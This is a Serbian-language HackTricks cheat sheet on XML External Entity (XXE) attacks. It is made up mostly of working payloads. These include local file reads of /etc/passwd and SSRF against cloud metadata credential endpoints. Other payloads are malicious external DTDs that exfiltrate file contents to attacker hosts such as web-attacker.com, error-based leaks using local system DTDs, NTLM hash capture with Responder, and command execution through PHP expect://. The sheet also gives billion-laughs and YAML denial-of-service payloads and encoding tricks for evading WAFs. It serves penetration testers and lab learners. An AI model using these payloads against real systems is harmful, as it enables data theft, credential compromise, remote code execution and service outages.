XXE - XEE - XML External Entity

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnove XML-a

XML je označni jezik dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.

  • Prikaz podataka putem Entiteta: Entiteti u XML-u omogućavaju prikaz podataka, uključujući posebne karaktere poput &lt; i &gt;, koji odgovaraju < i > kako bi se izbegli konflikti sa XML-ovim sistemom oznaka.

  • Definisanje XML elemenata: XML omogućava definisanje tipova elemenata, opisujući kako bi elementi trebalo da budu strukturirani i koji sadržaj mogu sadržati, od bilo kog tipa sadržaja do specifičnih podređenih elemenata.

  • Definicija Tipa Dokumenta (DTD): DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti interni, eksterni ili kombinacija, vodeći načinom formatiranja i validacije dokumenata.

  • Prilagođeni i Spoljni Entiteti: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno prikazivanje podataka. Spoljni entiteti, definisani URL-om, izazivaju sigurnosne zabrinutosti, posebno u kontekstu napada spoljnim XML entitetima (XXE), koji iskorišćavaju način na koji XML parseri obrađuju spoljne izvore podataka: <!DOCTYPE foo [ <!ENTITY myentity "vrednost" > ]>

  • Detekcija XXE sa Parametarskim Entitetima: Za otkrivanje XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog sigurnosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehnikama detekcije van opsega, poput pokretanja DNS upita ili HTTP zahteva ka kontrolisanoj domeni, da potvrde ranjivost.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://napadac.com" > ]>

Glavni napadi

Većina ovih napada je testirana koristeći sjajne Portswiggers XEE laboratorije: https://portswigger.net/web-security/xxe

Test Novog Entiteta

U ovom napadu ću testirati da li jednostavna nova deklaracija ENTITETA radi

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Čitanje fajla

Pokušajmo da pročitamo /etc/passwd na različite načine. Za Windows možete pokušati da pročitate: C:\windows\system32\drivers\etc\hosts

U ovom prvom slučaju, primetite da će "**file:///**etc/passwd" takođe raditi.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Ovaj drugi slučaj trebao bi biti koristan za izvlačenje datoteke ako web server koristi PHP (Nije slučaj laboratorija Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

U ovom trećem slučaju primetite da deklarišemo Element stockCheck kao ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Lista direktorijuma

U Java baziranim aplikacijama moguće je izlistati sadržaj direktorijuma putem XXE sa payload-om poput (samo traženje direktorijuma umesto fajla):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE može biti korišćen za zloupotrebu SSRF unutar oblaka

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Slepa SSRF

Korišćenjem prethodno komentisane tehnike možete naterati server da pristupi serveru koji kontrolišete kako bi pokazao svoju ranjivost. Međutim, ako to ne funkcioniše, možda je zato što XML entiteti nisu dozvoljeni, u tom slučaju možete pokušati koristiti XML parametarske entitete:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Slepi" SSRF - Izfiltriranje podataka van opsega

U ovom slučaju ćemo naterati server da učita novi DTD sa zlonamernim payloadom koji će poslati sadržaj fajla putem HTTP zahteva (za višelinijske fajlove možete pokušati da ga izfiltrirate putem _ftp://_ koristeći ovaj osnovni server na primer xxe-ftp-server.rb). Ovo objašnjenje se zasniva na Portswiggers lab ovde.

U datom zlonamernom DTD-u, sprovode se niz koraka za izfiltriranje podataka:

Primer zlonamernog DTD-a:

Struktura je sledeća:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Koraci koje izvršava ovaj DTD uključuju:

  1. Definicija parametarskih entiteta:

    • XML parametarski entitet, %file, je kreiran, čitajući sadržaj fajla /etc/hostname.

    • Drugi XML parametarski entitet, %eval, je definisan. Dinamički deklariše novi XML parametarski entitet, %exfiltrate. Entitet %exfiltrate je podešen da napravi HTTP zahtev ka serveru napadača, prosleđujući sadržaj entiteta %file unutar upita URL adrese.

  2. Izvršavanje entiteta:

    • Entitet %eval je korišćen, što dovodi do izvršavanja dinamičke deklaracije entiteta %exfiltrate.

    • Entitet %exfiltrate se zatim koristi, pokrećući HTTP zahtev ka određenoj URL adresi sa sadržajem fajla.

Napadač postavlja ovaj zlonamerni DTD na server pod svojom kontrolom, obično na URL adresi poput http://web-napadac.com/zlonamerni.dtd.

XXE Payload: Da bi iskoristio ranjivu aplikaciju, napadač šalje XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ova payload definiše XML parametarski entitet %xxe i inkorporira ga unutar DTD-a. Kada ga procesuira XML parser, ovaj payload dohvata spoljni DTD sa servera napadača. Parser zatim tumači DTD u liniji, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do ekstrakcije fajla /etc/hostname na server napadača.

Zasnovano na Greškama (Spoljni DTD)

U ovom slučaju ćemo naterati server da učita zlonamerni DTD koji će prikazati sadržaj fajla unutar poruke o grešci (ovo je validno samo ako možete videti poruke o grešci). Primer odavde.

Poruka o grešci pri parsiranju XML-a, otkrivanjem sadržaja fajla /etc/passwd, može biti izazvana korišćenjem zlonamernog spoljnog Document Type Definition (DTD). Ovo se postiže kroz sledeće korake:

  1. Definiše se XML parametarski entitet nazvan file, koji sadrži sadržaj fajla /etc/passwd.

  2. Definiše se XML parametarski entitet nazvan eval, inkorporirajući dinamičku deklaraciju za drugi XML parametarski entitet nazvan error. Ovaj entitet error, kada se evaluira, pokušava da učita nepostojeći fajl, inkorporirajući sadržaj entiteta file kao njegovo ime.

  3. Poziva se entitet eval, dovodeći do dinamičke deklaracije entiteta error.

  4. Poziv entiteta error rezultira pokušajem učitavanja nepostojećeg fajla, proizvodeći poruku o grešci koja uključuje sadržaj fajla /etc/passwd kao deo imena fajla.

Zlonamerni spoljni DTD može biti pozvan korišćenjem sledećeg XML-a:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Prilikom izvršenja, odgovor veb servera treba da uključi poruku o grešci koja prikazuje sadržaj datoteke /etc/passwd.

Molimo vas da primetite da nam spoljni DTD omogućava da uključimo jednu entitet unutar druge (eval), ali je to zabranjeno u internom DTD-u. Stoga ne možete izazvati grešku bez korišćenja spoljnog DTD-a (obično).

Greška zasnovana na (sistemu DTD)

Šta je sa slepim XXE ranjivostima kada su interakcije van opsega blokirane (spoljne veze nisu dostupne)?.

Propust u specifikaciji XML jezika može izložiti osetljive podatke putem poruka o grešci kada se DTD dokumenta meša sa internim i eksternim deklaracijama. Ovaj problem omogućava unutrašnje predefinisanje entiteta deklarisanih spolja, olakšavajući izvršenje napada XXE zasnovanih na greškama. Takvi napadi iskorišćavaju predefinisanje XML parametarskog entiteta, koji je prvobitno deklarisan u spoljnom DTD-u, unutar internog DTD-a. Kada su veze van opsega blokirane od strane servera, napadači moraju da se oslone na lokalne DTD datoteke kako bi sproveli napad, sa ciljem izazivanja greške u parsiranju radi otkrivanja osetljivih informacija.

Razmotrite scenarijo u kojem sistemski fajl servera sadrži DTD fajl na lokaciji /usr/local/app/schema.dtd, koji definiše entitet nazvan custom_entity. Napadač može izazvati grešku u parsiranju XML-a otkrivajući sadržaj datoteke /etc/passwd podnošenjem hibridnog DTD-a na sledeći način:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Izvršene su sledeće korake ovim DTD-om:

  • Definicija XML parametarskog entiteta nazvanog local_dtd uključuje spoljni DTD fajl smešten na fajl sistemu servera.

  • Dolazi do redefinicije XML parametarskog entiteta custom_entity, koji je prvobitno definisan u spoljnom DTD-u, kako bi obuhvatio exploit zasnovan na grešci XXE. Ova redefinicija je osmišljena da izazove grešku pri parsiranju, otkrivajući sadržaj fajla /etc/passwd.

  • Korišćenjem entiteta local_dtd, angažuje se spoljni DTD, obuhvatajući novo definisani custom_entity. Ova sekvencija radnji izaziva emitovanje greške koju exploit cilja.

Primer iz stvarnog sveta: Sistemi koji koriste GNOME desktop okruženje često imaju DTD na lokaciji /usr/share/yelp/dtd/docbookx.dtd koji sadrži entitet nazvan ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Kako ova tehnika koristi unutrašnji DTD, prvo morate pronaći validan. To možete uraditi instalirajući isti OS / softver koji koristi server i tražeći neke podrazumevane DTD-ove, ili preuzimanjem liste podrazumevanih DTD-ova unutar sistema i proverom da li neki od njih postoji:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Za više informacija pogledajte https://portswigger.net/web-security/xxe/blind

Pronalaženje DTD-ova unutar sistema

U sledećem sjajnom github repozitorijumu možete pronaći putanje DTD-ova koji mogu biti prisutni u sistemu:

Osim toga, ako imate Docker sliku žrtvenog sistema, možete koristiti alat istog repozitorijuma da skenirate sliku i pronađete putanju DTD-ova prisutnih unutar sistema. Pročitajte Readme na github-u da saznate kako.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE putem analizatora Office Open XML

Za detaljnije objašnjenje ovog napada, proverite drugi odeljak ove neverovatne objave iz Detectify-a.

Mogućnost učitavanja Microsoft Office dokumenata nudi se mnogim web aplikacijama, koje zatim izvlače određene detalje iz ovih dokumenata. Na primer, web aplikacija može dozvoliti korisnicima da uvezu podatke učitavanjem tabele u XLSX formatu. Da bi analizator izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.

Da biste testirali ovu ranjivost, potrebno je kreirati Microsoft Office fajl koji sadrži XXE payload. Prvi korak je kreiranje praznog direktorijuma u koji se dokument može raspakovati.

Kada je dokument raspakovan, XML fajl lociran na ./unzipped/word/document.xml treba da se otvori i izmeni u željenom tekst editoru (kao što je vim). XML treba izmeniti da uključi željeni XXE payload, često počevši sa HTTP zahtevom.

Izmenjene linije XML-a treba da se ubace između dva korenska XML objekta. Važno je zameniti URL sa URL-om koji se može pratiti zahtevima.

Na kraju, fajl se može zapakovati da se kreira zlonamerni poc.docx fajl. Iz prethodno kreiranog direktorijuma "unzipped", treba pokrenuti sledeću komandu:

Sada se kreirani fajl može učitati na potencijalno ranjivu web aplikaciju, i može se nadati da će zahtev biti prikazan u Burp Collaborator logovima.

Jar: protokol

Jar protokol je dostupan isključivo unutar Java aplikacija. Namenski je dizajniran da omogući pristup fajlovima unutar PKZIP arhive (npr. .zip, .jar, itd.), pružajući podršku za lokalne i udaljene fajlove.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Da biste mogli da pristupite datotekama unutar PKZIP datoteka je izuzetno korisno zloupotrebiti XXE putem sistema DTD datoteka. Proverite ovaj odeljak da biste naučili kako da zloupotrebite sistem DTD datoteke.

Proces pristupa datoteci unutar PKZIP arhive putem jar protokola uključuje nekoliko koraka:

  1. Napravljen je HTTP zahtev za preuzimanje zip arhive sa određene lokacije, kao što je https://download.website.com/archive.zip.

  2. HTTP odgovor koji sadrži arhivu privremeno se čuva na sistemu, obično na lokaciji poput /tmp/....

  3. Arhiva se zatim raspakuje kako bi se pristupilo njenom sadržaju.

  4. Konkretna datoteka unutar arhive, file.zip, se čita.

  5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.

Interesantna tehnika za prekid ovog procesa u drugom koraku uključuje održavanje otvorene server konekcije neodređeno vreme prilikom serviranja arhivske datoteke. Alati dostupni na ovom repozitorijumu mogu se koristiti u tu svrhu, uključujući Python server (slow_http_server.py) i Java server (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Pisanje datoteka u privremeni direktorijum može pomoći u povećanju druge ranjivosti koja uključuje prolazak putanje (kao što su lokalno uključivanje datoteka, ubacivanje šablona, XSLT RCE, deserijalizacija, itd).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Napad Milijardu Smeha

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Napad Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Kvadratni napad na naduvavanje

Dobijanje NTML-a

Na Windows hostovima moguće je dobiti NTML heš korisnika veb servera postavljanjem responder.py handlera:

Responder.py -I eth0 -v

i slanjem sledećeg zahteva

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Skriveni XXE površinski

XInclude

Prilikom integracije klijentskih podataka u serverske XML dokumente, poput onih u pozadinskim SOAP zahtevima, direktna kontrola nad XML strukturom često je ograničena, ometajući tradicionalne XXE napade zbog ograničenja u modifikaciji DOCTYPE elementa. Međutim, XInclude napad pruža rešenje omogućavajući umetanje spoljnih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ovaj metod je efikasan čak i kada se može kontrolisati samo deo podataka unutar serverski generisanog XML dokumenta.

Za izvođenje XInclude napada, XInclude namespace mora biti deklarisan, a putanja datoteke za namenjeni spoljni entitet mora biti navedena. U nastavku je sažet primer kako se takav napad može formulisati:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Proverite https://portswigger.net/web-security/xxe za više informacija!

SVG - Slanje datoteka

Datoteke koje korisnici otpreme određenim aplikacijama, a zatim se obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se rukuje XML ili formatima datoteka koji sadrže XML. Uobičajeni formati datoteka poput kancelarijskih dokumenata (DOCX) i slika (SVG) zasnovani su na XML-u.

Kada korisnici pošalju slike, te slike se obrađuju ili proveravaju na serveru. Čak i za aplikacije koje očekuju formate poput PNG-a ili JPEG-a, biblioteka za obradu slika na serveru takođe može podržavati SVG slike. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača za slanje zlonamernih SVG slika, čime se server izlaže ranjivostima na XXE (XML External Entity).

Primer takvog napada je prikazan u nastavku, gde zlonamerna SVG slika pokušava da pročita sistemsku datoteku:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Druga metoda uključuje pokušaj izvršavanja komandi putem PHP "expect" omotača:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

U oba slučaja, format SVG se koristi za pokretanje napada koji iskorišćavaju mogućnosti obrade XML-a softvera servera, ističući potrebu za čvrstom validacijom unosa i sigurnosnim merama.

Proverite https://portswigger.net/web-security/xxe za više informacija!

Napomena: Prva linija pročitanog fajla ili rezultata izvršenja će se pojaviti UNUTAR kreiranog slike. Dakle, morate moći da pristupite slici koju je SVG kreirao.

PDF - Upload fajla

Pročitajte sledeći post da naučite kako iskoristiti XXE za uploadovanje PDF fajla:

pagePDF Upload - XXE and CORS bypass

Content-Type: Od x-www-urlencoded do XML

Ako POST zahtev prihvata podatke u XML formatu, možete pokušati da iskoristite XXE u tom zahtevu. Na primer, ako normalan zahtev sadrži sledeće:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Onda biste mogli podneti sledeći zahtev, sa istim rezultatom:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Od JSON-a do XEE

Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom "Content Type Converter". Ovde možete pronaći ovaj primer:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Drugi primer može se pronaći ovde.

Bypass-ovanje WAF-a i zaštita

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Ovo radi samo ako XML server prihvata data:// protokol.

UTF-7

Možete koristiti ["Encode Recipe" of cyberchef ovde ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformišite u UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypassovanje protokola File:/

Ako web koristi PHP, umesto korišćenja file:/ možete koristiti php omotače php://filter/convert.base64-encode/resource= da pristupite internim fajlovima.

Ako web koristi Javu, možete proveriti jar: protokol.

HTML Entiteti

Triks sa https://github.com/Ambrotd/XXE-Notes Možete kreirati entitet unutar entiteta enkodirajući ga sa html entitetima i zatim ga pozvati da učita dtd. Imajte na umu da korišćeni HTML Entiteti moraju biti numerički (kao [u ovom primeru](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD primer:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Omotači

Base64

Izvuci index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Izdvajanje spoljnih resursa

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Izvršenje udaljenog koda

Ako je učitan PHP modul "expect"

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Ovaj primer je inspirisan na https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se uglavnom koristi za prenos lokalizovanih podataka između alata tokom lokalizacije i kao zajednički format razmene za CAT (računarski podržani prevod) alate.

Analiza slepe zahteve

Zahtev je poslat serveru sa sledećim sadržajem:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Međutim, ovaj zahtev pokreće internu serversku grešku, tačnije pominje problem sa deklaracijama obeležja:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Iako se pojavila greška, zabeležen je pogodak na Burp Collaborator-u, što ukazuje na određeni nivo interakcije sa spoljnom entitetom.

Izvantrupni Prenos Podataka Za prenos podataka, šalje se modifikovan zahtev:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Ovaj pristup otkriva da User Agent pokazuje korišćenje Java 1.8. Primećeno ograničenje ove verzije Jave je nemogućnost povlačenja datoteka koje sadrže znak nove linije, poput /etc/passwd, korišćenjem tehnike van opsega.

Izvođenje podataka zasnovano na greškama Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na greškama. DTD datoteka je strukturirana na sledeći način kako bi izazvala grešku koja uključuje podatke iz ciljne datoteke:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Server odgovara greškom, važno je da odražava nepostojeći fajl, što ukazuje da server pokušava da pristupi navedenom fajlu:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Da biste uključili sadržaj datoteke u poruku o grešci, prilagođava se DTD datoteka:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ova modifikacija dovodi do uspešne ekstrakcije sadržaja datoteke, kako je prikazano u izlaznoj grešci poslatoj putem HTTP-a. Ovo ukazuje na uspešan XXE (XML External Entity) napad, iskorišćavajući i Out of Band i Error-Based tehnike za izvlačenje osetljivih informacija.

RSS - XEE

Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti.

Ping back

Jednostavan HTTP zahtev ka serveru napadača

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Čitanje fajla

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Pročitajte izvorni kod

Korišćenjem PHP base64 filtera

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
